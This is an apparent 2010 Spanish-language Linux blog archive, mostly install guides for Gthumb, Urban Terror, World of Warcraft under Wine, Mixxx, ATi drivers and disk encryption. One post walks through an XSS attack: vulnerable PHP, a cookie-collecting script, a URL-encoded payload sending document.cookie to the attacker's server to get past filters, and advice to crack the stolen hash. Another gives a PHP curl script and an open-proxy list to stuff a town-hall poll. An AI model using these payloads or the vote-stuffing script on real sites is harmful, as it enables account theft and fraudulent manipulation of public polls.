En este caso, y como añadido al Tucan, el gestor de descargas, he programado un pequeño script que nos ayudará a extraer todos los ficheros de vídeo de una temporada descargada y copiarlos a la carpeta que deseemos. Se podría añadir el comando de eliminar carpeta pero he decidido no hacerlo porque creo que es mejor borrarlo a a mano por si algo no hubiera salido bien.

Lo primero que necesitaremos es el unrar, que es freeware, (no es software libre). Para instalarlo usaremos el siguiente comando:

sudo apt-get install unrar

Una vez instalado, procederemos a descargar una temporada de nuestra serie favorita por descarga directa. Tucan manager por defecto lo guarda en la carpeta descargas. Moveremos estas carpeta en una nueva y procederemos a crear el script.

Para ello abriremos el editor de textos gedit mediante el siguiente comando:

gedit

Copiaremos el siguiente código y lo guardaremos en el Escritorio.
extraer.sh

#!/bin/bash
for i in $( ls $HOME/Descargas/T-18/ ); do
    cd $HOME/Descargas/T-18/$i
    extrae=`find *part1.rar`
    unrar e $extrae
    copia=`find *.avi`
    mv $copia $HOME/Descargas/T-18/
    cd ..
    echo Extraído correctamente $i
done

Dentro del for esta la carpeta de nuestra temporada. Este caso ficticio es la temporada de los Simpsons número 18. Al descargarlo nos encontramos con que son 2 partes por cada capitulo. Sólo basta con extraer la primera pues el programa automáticamente buscará la segunda, tercera etc...

Procederemos a darle los permisos mediante el siguiente comando:

chmod u+x $HOME/Escritorio/extraer.sh

Para ejecutarlo tan solo tendremos que ejecutar el siguiente comando:

$HOME/Escritorio/extraer.sh

Listo, tras esperar un ratito que es lo que tarda, tendremos nuestra temporada extraída y podremos borrar las carpetas. Un placer para vagos.

Cine - Hacktivistas, Electrohippies...

2010-02-11T10:00:00.006+01:00

Siguiendo nuestras ediciones de documentales interesantes, aquí traemos uno extenso que comenta muchas cosas del mundo alternativo de Internet. La primera parte es la más política y luego aparecen Alan Cox y demás en el documental código linux que ya publicamos!

Linux - Gthumb - Redimensiona tus fotos

2010-02-10T10:41:00.021+01:00

GIMP es una herramienta muy potente pero resulta a veces complicada para el usuario normal. Algunas distribuciones traen por defecto el editor de fotos F-Spot que está bastante incompleto. Si lo que te interesa es comentar, modificar fotos masivamente y en general redimensionarlas para bajar su peso, te recomiendo Gthumb.

Para instalarlo es muy sencillo, sólo hay que ejecutar el siguiente comando en el terminal:

sudo apt-get install gthumb

Una vez instalado lo encontraremos en Aplicaciones > Gráficos > Visor de Imágenes G-Thumb.

Para usarlo es realmente sencillo solo hay que escoger las fotos, buscar las opciones en los menús desplegables y listo. Puedes aplicar efectos, redimensionar, añadir marcas de agua y todo sin un ápice de trabajo.

XSS - Cross Site Scripting

2010-02-09T10:24:00.002+01:00

Cada día salen más ataques del tipo XSS, si mal no recuerdo uno de los más sonados fue el de la página de la Moncloa. También hay otros famosos como el de la página de la SGAE en sus búsquedas y el el más reciente, la página de búsquedas de la presidencia española de la UE.

Sin duda, la culpa es de los programadores, no validar las entradas es un error terrible y aunque en estos casos estas vulnerabilidades no fueran explotables nos hacen quedar en ridículo. En cualquier caso hoy trataré de dar la imagen más peligrosa de los XSS para ver si de una vez la gente se mentaliza.

Por ello mismo haremos un simple paseo por scripts tontos y scripts menos tontos. Lo primero de todo es la teoría. La teoría dice que para probar un XSS usaremos un simple document.Alert de javascript para ver si se nos muestra por pantalla la típica ventana de advertencia. A mi me gustan mas los iframes, por ello mismo usaremos este código:

<iframe src=http://donzeyt.blogspot.com>

Para ver si es vulnerable nuestro atacante tan sólo habría que añadir en el campo de búsqueda $_POST o en cualquier parámetro $_GET el siguiente código. Nosotros por comodidad, lo haremos con $_GET.
Vulnerable1.php

<?php
$seccion = $_GET["seccion"];
echo "Usted esta en ".$seccion;
?>

Para arreglarlo hubiera sido tan sencillo como:

<?php
$seccion = htmlentities($_GET["seccion"]);
echo "Usted esta en ".$seccion;
?>

En cualquier caso probaremos nuestro ataque. Para ello iremos a:

http://nuestroservidor.example.com/Vulnerable1.php?seccion=<iframe src=http://donzeyt.blogspot.com>

Si aparece un iframe con la página es que las cosas funcionan bastante ~~bien~~ y es vulnerable.

Perfecto, este es un ejemplo de los mas sencillos. Ahora mismo vamos a pasar al más grave, de la inocentada a lo gordo. El script vulnerable sigue siendo el mismo solo que añadiremos una cookie. Todavía no hemos hablado de esto pero lo veremos por encima.

Vulnerable2.php

<?php
    $seccion = $_GET["seccion"];
    $contraseña = sha1($_GET["pass"]);
    setcookie("contraseña", $contraseña , time()+ 3600);
    echo "Usted esta en ".$seccion;
?>

Una vez guardado crearemos el script al que llamaremos para que guarde la información.
come_cookies.php

<?php
$cookie = $_GET["cookie"];
$fp = fopen("robada.txt", 'w');
fwrite($fp, $cookie);
fclose($fp);
?>

Este script nos guardará las cookies en un fichero de texto y será al que invocaremos. En este caso en vez de usar el iframe, he decidido usar el document location de javascript.

<script>document.location=http://nuestroservidor.example.com/come_cookies.php?cookie=' +document.cookie</script>

Muchos servidores normalmente suelen llevar protección de scripts pero esta es fácilmente saltable codificando nuestra cadena a HEX o directamente mediante la codificación del a URL. Existen gran cantidad de conversores online gratuitos, os recomiendo este. Una vez codificado quedaría así:

%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3E

Listo, ya sólo queda atacar, para ello tocará lo siguiente:

http://nuestroservidor.example.com/Vulnerable2.php?pass=hola&seccion=%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3E

Si todo ha ido bien, cookie robada, con ella crackearemos la contraseña por fuerza bruta o diccionario y listo.

PHP - Curl y Proxy (Vota Summercase Boadilla)

2010-02-08T10:01:00.000+01:00

Hoy nos sentimos ~~democráticos~~, por ello mismo, como ~~creemos en las reglas del juego~~, crearemos un script que votará en una encuesta tantas veces como nuestro número de proxys tengamos.

Para ello mismo, he decidido apoyar a los poppers amigos de lo indie y su festival por excelencia en Madrid, el Summercase.

Resulta que el ayuntamiento de Boadilla (localidad donde se realiza el festival) esta haciendo una encuesta preguntando si se debe seguir realizando el festival y la verdad, no les va muy bien, ya que ganan por poco y seguramente como van las cosas no habrá festival.

Por ello mismo, quiero aportar mi granito de arena. Seguramente tanto voto negativo esté causado por algún vecino anti poperos, con un mínimo conocimiento de programación. A pesar de todo esto, nos valdrá como perfecto ejemplo de como no hacer en la vida una encuesta. Como errores destacan: no hay Captcha y la única medida de seguridad que aporta es 1 voto por IP por día. Pues ya está, PROXYs a cholón y listo.

Lo primero de todo que necesitaremos, será una lista de proxys, en internet hay muchísimas, yo os adjunto una que es un poco mala pero no importa. El único requisito que tiene que cumplir vuestra lista es el siguiente: ip:puerto, una proxy por cada línea y que el fichero se llame proxys.txt

Aquí os dejo un ejemplo:
proxys.txt

125.163.255.154:8080
95.56.230.12:80
92.61.240.22:80
95.104.116.82:8080
121.31.126.93:80
87.250.47.219:8080
89.31.6.24:8080
84.20.81.196:8080
125.160.162.16:8080
202.143.146.205:8080
119.6.253.31:8000
208.180.65.242:8080
121.14.158.75:80
201.48.212.166:80
117.25.177.242:8080
200.141.202.162:8080
119.2.42.163:8080
202.90.112.43:8080
187.5.91.82:8080
208.180.60.126:8080
200.226.251.217:80
221.1.223.10:808
220.178.47.253:8080
202.159.90.163:80
202.57.33.134:8008
115.31.64.12:8008
189.108.142.5:8080
124.82.221.194:8080
41.154.7.52:8080
203.172.138.211:8080
200.25.200.178:8080
190.203.34.86:8080
200.3.170.210:80
201.72.7.2:80
202.143.129.200:8080
212.184.79.66:80
201.2.110.84:8080
200.14.96.57:80
119.70.40.102:8080
41.243.216.27:8080
217.10.246.4:8080
87.98.249.24:80
202.152.59.235:80
186.56.68.6:8080
119.70.40.101:8080
200.91.248.82:80
189.41.69.151:80
219.90.91.69:8080
190.228.70.4:80
114.57.172.78:80
125.162.38.175:8080
74.206.98.202:8080
222.66.116.108:8080
121.14.158.76:80
84.20.81.196:80

Una vez guardado el fichero, procederemos a crear el script en php que está bastante comentado por lo que sólo tenéis que leerlos para enteraros de que hace.
vota_summercase.php

<?php
/*
*      vota_summercase.php
*
*      Copyright 2010 Don ZeYt
*
*      This program is free software; you can redistribute it and/or modify
*      it under the terms of the GNU General Public License as published by
*      the Free Software Foundation; either version 2 of the License, or
*      (at your option) any later version.
*
*      This program is distributed in the hope that it will be useful,
*      but WITHOUT ANY WARRANTY; without even the implied warranty of
*      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*      GNU General Public License for more details.
*
*      You should have received a copy of the GNU General Public License
*      along with this program; if not, write to the Free Software
*      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
*      MA 02110-1301, USA.
*/
//Abrimos archivos de proxy
$archivo = "proxys.txt";
$f = fopen($archivo, "r");
$datos = fread($f, filesize($archivo));
fclose($f);
//Creamos array de proxys
$datos = explode("\n",$datos);
//URL votacion
$URL ="http://www.aytoboadilla.com/opinion/encuesta.asp";
//Inicializamos contadores
$error=0;
$acierto=0;
$proxy_error=0;
//Bucle para todas las proxys
foreach($datos as $d){
    //Separamos puerto de IP
    $d= explode(":",$d);
    $ip=$d[0];
    $puerto=$d[1];
    //Usamos CURL
    $ch = curl_init();
    echo $ip." ".$puerto."\n";
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_PROXY, $ip);
    curl_setopt($ch, CURLOPT_PROXYPORT, $puerto);
    curl_setopt($ch, CURLOPT_URL, $URL);
    curl_setopt ($ch, CURLOPT_POSTFIELDS, "respuesta=r1");
    curl_setopt ($ch,CURLOPT_CONNECTTIMEOUT, 5);
    $datos = curl_exec($ch);
    curl_close($ch);
    //Si no son vacios
    if ($datos != ""){
        if (!ereg("contabilizado",$datos)){
            $error++;
            echo "Error ".$error."\n";
        }else{
            $acierto++;
            echo "Acierto ".$acierto."\n";
        }
    }else{
        $proxy_error++;
        echo "Error Proxy ".$proxy_error."\n";
    }
}
echo "Aciertos: ".$acierto." Errores: ".$error." Errores de Proxy: ".$proxy_error;
?>

Una vez guardado, el único requisito es que estén los dos archivos en el mismo directorio. Ahora bien, para votar sólo habrá que ejecutar el script. Si es tu primera vez leyendo este blog, para poder ejecutarlo necesitarás GNU/Linux con geany , geany con php, php5 y curl. También es valido cualquier editor, incluso subir el script a un servidor.
¡Si usas otro sistema operativo búscate la vida!

Web: W3AF Análisis de Seguridad de tu web

2010-02-07T10:49:00.000+01:00

A pesar de la existencia de muchas distribuciones con herramientas de seguridad como BugTraq, hoy hablaremos de W3AF, una herramienta libre para la auditoría de seguridad de páginas web, tanto nuestras como ajenas, no sé si me entendéis...

Para ello usaremos la herramienta W3AF, un completo kit de herramientas en el que podremos auditar, usar fuerza bruta y en resumen recaudar toda la información posible sobre una web.

Para instalarlo es muy sencillo, sólo hay que ejecutar el siguiente comando en el terminal:

sudo apt-get install w3af

Una vez instalado, lo ejecutaremos en Aplicaciones > Internet > W3AC . Una vez abierto, escogeremos los perfiles que nos vienen por defecto. En este caso recomiendo audit_high_risk y full audit que nos permitirá buscar todos los fallos de nuestra web. Entre ellos se encuentran inyecciones SQL, XSS y salto de directorios.

Para iniciarlo sólo tendremos que insertar en el campo target nuestra página web, un ejemplo podría ser http://donzeyt.blogspot.com aunque dudo encontréis nada porque en google suelen hacer un buen trabajo.

En resumen, con esta herramienta podrás auditar tu propia web u otra cualquiera, encontrar fallos, corregirlos o explotarlos y lo que os venga en gana.

Privacidad 2: Proxys 1: Introducción y fundamentos.

2010-02-06T10:06:00.000+01:00

En la primera edición de privacidad hablamos sobre ocultar los datos del navegador y sistema operativo y vimos como se nos quedaron en el aire algunos datos como nuestra IP, a través de la cual podían saber nuestro ISP y por lo tanto nuestra procedencia con un error máximo de 100 km (se estima) mediante geoiplocalización.

Por todo esto trataremos de ponérselo más difícil mediante el uso de los proxys. Por ello mismo indicaremos que son, para que sirven y como usarlos.

QUÉ ES UN PROXY

A pesar de que su uso más conocido es el anonimato para la navegación, los proxys tienen muchas funcionalidades. Los de navegación web son los más empleados por diversos motivos, principalmente la seguridad y el rendimiento. Su funcionamiento es muy sencillo, ciertos clientes realizan peticiones a un servidor, este las trata y devuelve la respuesta a los clientes.

TIPOS DE PROXY

Reverse proxy: Como índica su nombre es un proxy inverso, es decir, todo el tráfico que va al cliente pasa primero por el servidor. Es muy utilizado como capa extra de seguridad o como filtrado de tráfico. También se consideran los balanceadores de carga como proxys inversos.

Proxy NAT: Todos los que usamos un Router tenemos este tipo de proxy. Sencillamente se emplea para compartir una misma dirección IP por varios ordenadores. Según al puerto que accedamos entraremos a un ordenador a otro mediante Network Adress Translation (NAT).

Proxys Abiertos: Estos son los más interesantes ya que permiten hacer peticiones a cualquier usuario de Internet. Tiene sus ventajas y sus desventajas pero permiten navegar a muchos usuarios que no pueden. El empleo de estos suele tener algunas restricciones ya que mucha gente oculta su IP para cometer perrerías a través de estos.

CÓMO USARLOS

Se pueden usar proxys en casi todas las aplicaciones pero no quiero atormentaros por lo que nos centraremos en la web proxy mediante FireFox. Para ello usaremos la extensión FoxyProxy para este popular navegador. Para ello iremos a la página y lo instalaremos, una vez instalado, reiniciaremos el navegador. Nos aparecerá abajo a la derecha un cartelito rojo indicando que FoxyProxy está deshabilitado. Para habilitarlo es tan sencillo como hacer click con el botón secundario y escoger opciones. En la pantalla escogeremos, añadir nuevo proxy y añadiremos los datos de una lista de proxys. En este caso he escogido 76.27.93.88:3128 desde Estados Unidos. La IP es 76.27.93.88 y el puerto 3128. Pondremos un nombre, la descripción del país y en la pestaña detalles pondremos la IP y el puerto. El socket es v5. Aceptaremos, y en la barra de estado, donde hicimos antes click con el botón secundario lo volveremos a hacer y escogeremos nuestra proxy. Entraremos en danasoft de nuevo y listo, ahora somos estadounidenses.

Este sistema se puede utilizar también para saltarse las limitaciones de megavideo, megaupload etc... y las restricciones de streaming de vídeo sólo disponibles para ciertos países.

En próximas entregas, hablaremos de proxys más avanzadas y de sistemas como TOR y derivados, y de como ayudar a navegar a los que no pueden.

Linux - Programa pago IVA AEAT

2010-02-05T10:38:00.000+01:00

A petición de uno de nuestros lectores y tras apreciar lo grave que es que como siempre, den soporte muy escaso para Linux en cosas estatales, escribo un tema que a muchos les dará igual pero que en un futuro tendrá su importancia.

Los programas de la Seguridad Social en general están programados en JAVA ya que es multiplataforma. Lo sé porque tuve un amigo que estuvo trabajando allí 1 año. En cualquier caso jamás pensé que el instalador de Linux estuviera tan dejado.
En cualquier caso haremos una mini guía para ver como se instala este programa y para hacerlo funcionar correctamente.

Lo primero de todo, descargaremos el instalador de la aplicación ejecutando lo siguiente en un terminal:

wget http://www.aeat.es/AEAT/Contenidos_Comunes/La_Agencia_Tributaria/Descarga_Programas/Descarga/Java/IVA/2009/v1.0/siva9100.bin

Una vez descargado, suponiendo que esté en el Escritorio procederemos a darle los permisos para poder ejecutarlo mediante los siguientes comandos:

cd Escritorio
sudo chmod +x siva9100.bin

Una vez dado los permisos ejecutaremos el instalador mediante el comando:

./siva9100.bin

Nos aparecerá un instalador bastante feo. Pulsaremos siguiente hasta que nos pida la ubicación de la máquina virtual de java. Para ello, le daremos a examinar y escogeremos:

/usr/lib/jvm/java-6-openjdk/bin/java

Una vez escogido, pulsaremos sobre siguiente y nos preguntará sobre una ruta de instalación. Escogeremos la siguiente ruta:

/home/TuUsuario/AEAT

Si no existiera la carpeta la crearíamos mediante el siguiente comando:

mkdir AEAT

Una vez escogido el directorio, pulsaremos sobre siguiente y nos preguntará sobre dónde poner los enlaces simbólicos. Escogeremos en la misma carpeta y pulsaremos sobre siguiente. Una vez terminado, ejecutaremos el programa, para ello, crearemos un lanzador y en la ubicación escogeremos:

/home/TuUsuario/AEAT/aeat390j

¡Lo ejecutaremos y listo para hacer la declaración!

Cine - Documental DEFCON

2010-02-04T10:40:00.002+01:00

La DEFCON es una conferencia de seguridad a nivel internacional donde los mejores expertos en seguridad van a exponer sus conocimientos y algunos de los mejores grupos de hackers van a competir para demostrar sus habilidades. Es un mundo que poca gente conoce por lo que aquí os dejo un documental algo antigüo que explica que se cuece por allí y como empezó:

Juegos Linux - Urban Terror

2010-02-03T10:16:00.024+01:00

Urban Terror es un juego para Linux basado en el motor del Quake 3. Como el Quake 3 fue liberado, este juego se convirtió en la alternativa gratuita al Counter Strike. En cualquier caso, hoy hablaremos de este juego con buenos gráficos, una aceptable cuota de gente que juega y con un porcentaje de satisfacción por los usuarios bastante alto.

Para instalarlo lo primero que haremos será descargarlo. Para ello he escogido la versión extraíble que funciona tanto en Linux como en Mac (no olvidemos que es multiplataforma).

Para ello ejecutaremos en un terminal:

wget ftp://ftp.snt.utwente.nl/pub/games/urbanterror/UrbanTerror_41_FULL.zip

Una vez descargados los 719 MB, procederemos a extraerlo mediante el comando:

unzip UrbanTerror_41_FULL.zip

Después de extraerlo, procederemos a ejecutar el juego. Para ello iremos a nuestra carpeta de usuario y buscaremos la carpeta UrbanTerror. La abriremos y ejecutaremos el programa según nuestra arquitectura. Si tenemos 32 bits ejecutaremos ioUrbanTerror.i386 y si tenemos 64 bits, ioUrbanTerror.x86_64.
Ejemplo de 32 bits:

cd UrbanTerror
sudo chmod +x ioUrbanTerror.i386
./ioUrbanTerror.i386

Si te salta algún error de consola diciendo que no se puede ejecutar OpenGL, comprueba que tienes aceleración gráfica. Si aun así no funcionara, verifica que tu tarjeta gráfica este trabajando a 24 bits de color.

Para jugar en modo pantalla vamos a system y en graphics quitamos Fullscreen.
Para crear un acceso directo crearemos un lanzador y en la línea de comando a ejecutar pondremos /home/tusuario/UrbanTerror/ioUrbanTerror.i386

Si no tienes ningún problema, ¡disfruta!

Ubuntu: Ejecutar archivos .bin .run .sh

2010-02-02T10:14:00.001+01:00

Muchas veces, algunas aplicaciones vienen en extensión .bin, .run o .sh y los usuarios no saben como ejecutarlas para instalarlas o usarlas. Para ello hoy haremos una guía genérica para ejecutar este tipo de archivos.

Lo primero de todo, supongamos que el fichero está en el Escritorio. Para poder usarlo lo primero que tendremos que hacer será abrir un terminal y escribir:

cd Escritorio
sudo chmod +x MiFichero.bin.run.sh
sudo ./MiFichero.bin.run.sh

Listo, en el mismo terminal nos aparecerá el progreso de la instalación en nuestro equipo.

Ubuntu - Instalar World of Warcraft

2010-02-01T10:00:00.001+01:00

A petición de uno de nuestros lectores woweros, hablaremos de como instalar el conocidísimo juego de masivo de rol multijugador en línea, World Of Warcraft. Si yo estuviera a cargo de la agencia antidroga catalogaría este juego como peor que la heroína. En cualquier caso, hoy hablaremos sobre como ejecutarlo sin problemas.

En esta guía, usaremos una copia del juego ya instalado ya que son famosos los bugs del instalador en Wine. En cualquier caso, prepara tu carpeta de 10 gigas de juego que comienza la fiesta.
Lo primero de todo es instalar wine por si no lo tenías. Para ello ejecutaremos el siguiente comando:

sudo apt-get install wine

Tras su instalación, procederemos a configurar los gráficos y el audio. Para ello en el terminal escribiremos:

winecfg

Una vez abierto, pulsaremos sobre Audio y lo configuraremos con ALSA:

Después pulsaremos sobre Gráficos y activaremos las siguientes casillas:

Aceptaremos y cerraremos. Una vez configurado, bajaremos el script winetricks que nos ayudará a configurar ciertas cosas de manera muy sencilla. Para ello ejecutaremos el siguiente comando para descargarlo:

wget http://www.kegel.com/wine/winetricks

Una vez descargado, le daremos los permisos y lo moveremos a la carpeta de aplicaciones para poder ejecutarlo siempre desde la consola. Para ello ejecutaremos los dos siguientes comandos:

sudo chmod +x winetricks

sudo mv winetricks /usr/local/bin

Una vez hecho todo esto ejecutaremos winetricks para que nos instale las fuentes y el directx:

winetricks d3dx9 corefonts

Una vez hecho todo esto, iremos a nuestra carpeta de usuario, Lugares > Carpeta Personal, pulsaremos la tecla control + H (para ver los archivos ocultos) e iremos a la carpeta .wine (. delante). Pulsaremos sobre drive_c, luego sobre Archivos De Programa y aquí pegaremos nuestra carpeta con el juego.

Ahora para ejecutarlo, crearemos un lanzador en la barra superior de aplicaciones, pulsando segundo botón , añadir al panel, lanzador de aplicaciones personalizado y rellenaremos los datos con:

Tipo: Aplicación
Nombre: World of Warcraft
Comando: wine "C:\Archivos de programa\World of Warcraft\Wow.exe" -opengl -window
Comentario: Juega al WoW

Aceptaremos, y pulsaremos sobre el lanzador para ejecutarlo. Si todo ha salido bien, jugaremos al WoW en linux, con más gráficos, más fps y más rendimiento que en su sistema operativo original. Ya no tienes escusa para no pasarte a Linux. ¡Corre la voz!

Mixxx - Usando Serato en Linux

2010-01-31T10:03:00.000+01:00

Hace tiempo hablé de Xwax, y de como usar tu Serato en Linux, en este caso hablaré de Mixxx que tiene sin duda una mejor interfaz gráfica. Este programa además, te servirá para mezclar sin necesidad de tener nada exterior. En esta entrada de hoy explicaré 3 cosas básicas: Usar Mixxx como alternativa libre al Virtual DJ, usar Mixxx con Serato / Final Scratch y por último, montarte tu propio Serato por menos de 100€, a mi me costó 500...

Antes de nada, y como paso común pondré como paso instalar Mixxx y como corregir ciertos errores que tienen los usuarios. Para instalar Mixxx tan sólo hay que ejecutar el siguiente comando:

sudo apt-get install mixxx

Una vez instalado lo iniciaremos, si todo va bien, nos pedirá la carpeta de donde están nuestros MP3. Si no aparece, que empiece el pánico. Si esto te ocurriera por favor deja un comentario en este blog o acude a la página oficial de mixxx.

USAR MIXXX COMO ALTERANTIVA AL VIRTUAL DJ

Si lo que te gusta es hacer mezclas locas y ver como quedan, puedes usar Mixxx sin problemas. Su interfaz es muy parecida a Virtual DJ sólo que este es gratis y además es Software Libre. Una vez abierto el programa, tan sólo tendremos que escoger nuestros temas y darle al botón mágico de Sync, subir los faders y a mezclar y jugar con las ecualizaciones.

* Mixxx como virtual DJ

USAR MIXXX CON SERATO / FINAL SCRATCH

Si quieres usar tu Serato en Linux y no te gusta XWAX tu salvación es Mixxx. Lo primero que haremos será conectar nuestra interfaz de audio USB (Serato / Final Scratch) y pulsaremos sobre Options > Enable Vinyl Control, y después, pulsaremos sobre Options > Preferences

Una vez aquí, en este caso para el Serato, escogeremos las siguientes salidas:

Para el Master la salida 1 (Plato 1) y para los Headphones (Salida2). Se podrían conmutar las salidas pero es que resultaría demasiado tedioso para el público. Por ello mismo usaremos la opción más sencilla, que es esta chapuza.

Para el siguiente paso pulsaremos sobre Vinyl Control y escogeremos:

Para el palto uno escogeremos la entrada 2,0 y para el plato 2 escogeremos la 2,1. La entrada 2,2 es el micrófono que tiene el Serato que podremos emplearlo en lo que queramos.

En el Turntable Input premap, pondremos muy poquito, y en el Vinyl Type escogeremos nuestros vinilos. Pulsaremos sobre OK y volveremos a la pantalla de Mixxx:

Bajaremos el volumen del canal 2 y activaremos el HeadPhone para este canal. A partir de ahora, sólo tendremos que cargar las canciones y usar nuestros platos para mezclar.

Si tuvieras algunos problemas de LAG, o que suena mal, te recomiendo que uses un kernel en tiempo real. En el post sobre XWAX lo comenté, puedes mirarlo ahí, o usar la distribución Ubuntu Studio, especializada en temas de sonido.

FABRICARTE TU PROPIO FINAL SCRATCH O SERATO

Si hace un año hubiera yo conocido que podía hacer esto, me hubiera ahorrado más de 430 € en la gracia. Lo único que no es igual, ya te lo digo es que no podrás usar el phono y el line de tu mesa a la vez. Con Serato si se puede poner un vinilo normal y mezclarlo con un tema virtual. En cualquier caso, el dinero que te ahorras merece la pena.

Primero empezaremos dando los ingredientes de la receta:

2 Tarjetas de sonido USB con una entrada RCA y una salida RCA.
2 Vinilos de serato
Mixxx en Linux (es multiplataforma)

Primero de todo hablaremos de las tarjetas USB con entrada y salida RCA. Buscadlas en internet porque las hay. Yo por ejemplo recomendaría lo barato, en este caso: TRUST Tarjeta de sonido 5.1 USB Surround Sound Card SC-5500p - alimentación vía USB. Con 2 tarjetas de estas, conectadas a 2 puertos usb y 4 adaptadores de mini jack a RCA, podremos hacer el apaño.

Conectamos las tarjetas al ordeandor, a line in, conectamos la salida del plato 1, y la salido del plato 2 a la otra tarjeta. En cuanto al output de cada tarjeta lo conectaremos a las líneas de entrada de la mesa de mezclas. Por último y si queremos podremos conectar la salida de la mesa al micrófono de cualquiera de las tarjetas para grabar nuestros sets.

Como vinilos para mezclar usaremos los del serato que los podemso enconrar por 30 euritos los 2. Podéis buscarlos como "Serato Time Code Vinyl"

Una vez hayamos puesto los vinilos nos iremos a la configuración del programa Mixxx y lo configuraremos como en el paso 2, esta vez escogiendo nuestras tarjetas de sonido y a mezclar!!!

Linux - Driver propietario ATi y el catalist secreto.

2010-01-30T10:57:00.000+01:00

Cuando instalas desde los repositorios los drivers privativos de cualquier tarjeta ATi, tienen la manía de no mostrarte, el menú del Catalist, desde el que podrás modificar varios aspectos de tu tarjeta gráfica y jugar con la distribución de los monitores si tienes dos.
Para ello, ejecutaremos el siguiente comando en un terminal:

sudo amdcccle

Las siglas ccc son de Catalist Control Center, amd es la marca y las siglas le, no se que significarán. En cualquier caso tras ejecutarlo, se nos abrirá una ventana y en ella podremos configurar nuestra tarjeta gráfica a nuestro gusto. Tanto la sincronización vertical como cualquier aspecto más avanzado como el anti-aliasing etc...

Si no os funcionara ese comando, podéis instalar el programa mediante el siguiente comando, siempre que tengáis una tarjeta ATi compatible (Modelos superiores a la Radeon 9600):

sudo apt-get install fglrx-amdcccle

Una vez hechas las modificaciones, reiniciaremos el servidor Xorg mediante el comando:

sudo /etc/init.d/gdm restart

Listo, ya estáis disfrutando vuestra tarjeta con su nueva configuración.

Karmicadas y ATi: Pantalla negra live CD ¿Cómo instalar?

2010-01-29T10:55:00.001+01:00

Hace poco hablé de la instalación de Ubuntu con Alterante en cómo cifrar tu disco duro. En realidad tuve que usar la versión Alternate porque me he comprado una tarjeta gráfica nueva ATi, una RADEON HD 4650 por muy buen precio, aún sabiendo los problemas que tiene ATi con Linux me atreví a comprarla. El caso, es que al principio funcionó estupendamente hasta que tuve que formatear por otras razones. El tema es que a la hora de formatear no funcionaba correctamente la pantalla en el Live CD por lo que no podía instalarlo.

En cualquier caso, Ubuntu no puede conmigo y usé la versión Alternate. Una vez instalado, al llegar a la pantalla de login, me encontré con que la pantalla se quedaba en negro de nuevo. Por ello mismo, pulsé control + alt + f1 y en el terminal, inicie sesión y me puse a arreglar mis problemas.

Una vez iniciada la sesión, instalé el driver propietario para probar mediante los siguientes comandos:

sudo apt-get remove --purge xserver-xorg-video-radeon
sudo apt-get remove --purge fglrx-kernel-source
sudo apt-get install fglrx-amdcccle fglrx-kernel-source xorg-driver-fglrx xorg-driver-fglrx-dev
sudo aticonfig --initial

Una vez instalado, reinicié el ordenador mediante el siguiente comando:

sudo reboot

Tras reiniciar todo volvió al a normalidad, aunque es una penausar el driver propietario cuando los nuevos experimentales rindenhasta 3 veces más. En cualquier caso ya hablaremos de estos drivers.

Epiphany - Alternativa a FireFox

2010-01-29T10:17:00.000+01:00

Firefox es un gran navegador aunque con el tiempo se está volviendo pesado en cuanto a recursos. Además sus tiempos de inicio han aumentado considerablemente por lo que no está de más buscarse e instalarse una alternativa.

En este caso Epiphany, un navegador del proyecto GNOME rápido y sencillo. No posee demasiados parámetros de configuración pero es útil usarlo para navegar por internet cuando necesitas más de un navegador para jugar con los proxys, o simplemente si tienes prisa y sabes que ese no va a fallar.

Para instalarlo es tan sencillo como ejecutar un terminal e instalar:

sudo apt-get install epiphany epiphany-browser

Una vez instalado, lo podremos encontrar en Aplicaciones > Internet Navegador Web Epiphany. Si lo ejecutamos podremos ver como es sencillo, rápido y sobre todo consume muy pocos recursos.

Recomiendo su instalación porque nunca viene de más tener dos navegadores aunque quizá a este le falten complementos y mejor renderizado de HTML. En cualquier caso este es el más apto bajo mi punto de vista para GNOME.

GNOME - Iniciar sesión sin pedir contraseña

2010-01-28T10:00:00.003+01:00

No escribir la contraseña para iniciar sesión es a veces útil para usuarios que comparten ordenadores y no quieren diferenciar cuentas, o simplemente usuarios vagos que no les apetece escribirla. Si te encuentras entre este grupo, o simplemente lo prefieres así, se puede iniciar sesión automáticamente de manera muy sencilla. Para ello sólo tendréis que ir a:

Sistema -> Administración -> Pantalla de acceso

Una vez aquí pulsaremos sobre desbloquear, introduciremos la contraseña y escogeremos acceder automáticamente con nuestro nombre de usuario. Aceptaremos y listo. Ya no volverá a pedirnos contraseña para iniciar sesión.

Ubuntu - Cifrar el disco duro

2010-01-27T20:23:00.001+01:00

Siempre he comentado que hablaría de como cifrar el disco duro entero en Ubuntu. Lo que pasa es que me ha dado pereza porque yo a diferencia de otros muchos, pruebo las cosas antes de escribir sobre ellas. Por ello mismo y debido a un fallo grave que ha tenido mi sistema al realizar un cambio de políticas en la escritura de caché, he tenido que formatear, lo mío es jugar con fuego... xD.

Antes de seguir, te recomiendo que cifres tus datos, si realmente tienes algo importante en tu estación fija o usas un portátil, en un portátil todo debería estar cifrado.

* Ejemplo de mi disco duro cifrado

En cualquier caso, ya tengo mi unidad de disco entera cifrada y la verdad que queda muy bien en Ubuntu. Lo primero de todo que tienes que saber, es que hay dos métodos, uno sin formatear y otro formateando. El método sin formatear es el siguiente: creas una partición la cifras, metes los datos, borras la otra, y expandes la unidad.

Como el primer método es bastante enrevesado, explicaré como instalar Ubuntu totalmente cifrado con crypto y LVM. Para ello emplearemos un CD con Ubuntu Karmic Alternate, o la última versión que exista ahora. La versión alternate, es una versión sin Live CD y que además no posee instalador gráfico, es todo en consola guiada pero no os preocupéis porque no hay que escribir ni un sólo comando. Además, la instalación tarda la mitad ya que te saltas pasos bastante pesados.

Para bajarse la versión Alternate, hay que ir a la página de descargas de Ubuntu Alternate. Una vez aquí, pulsaremos sobre los mirrors de descarga de Ubuntu, yo siempre escojo Francia porque la experiencia me dice que la velocidad es mayor. En este caso suelo escoger OVH que es un ISP y que además tiene una web fácilmente usable. Vamos a su página y escogemos la última versión, en este caso Karmic Koala y buscamos Alternate install CD. Una vez aquí escogeremos nuestra arquitectura 32 bits (i386) o 64 bits.

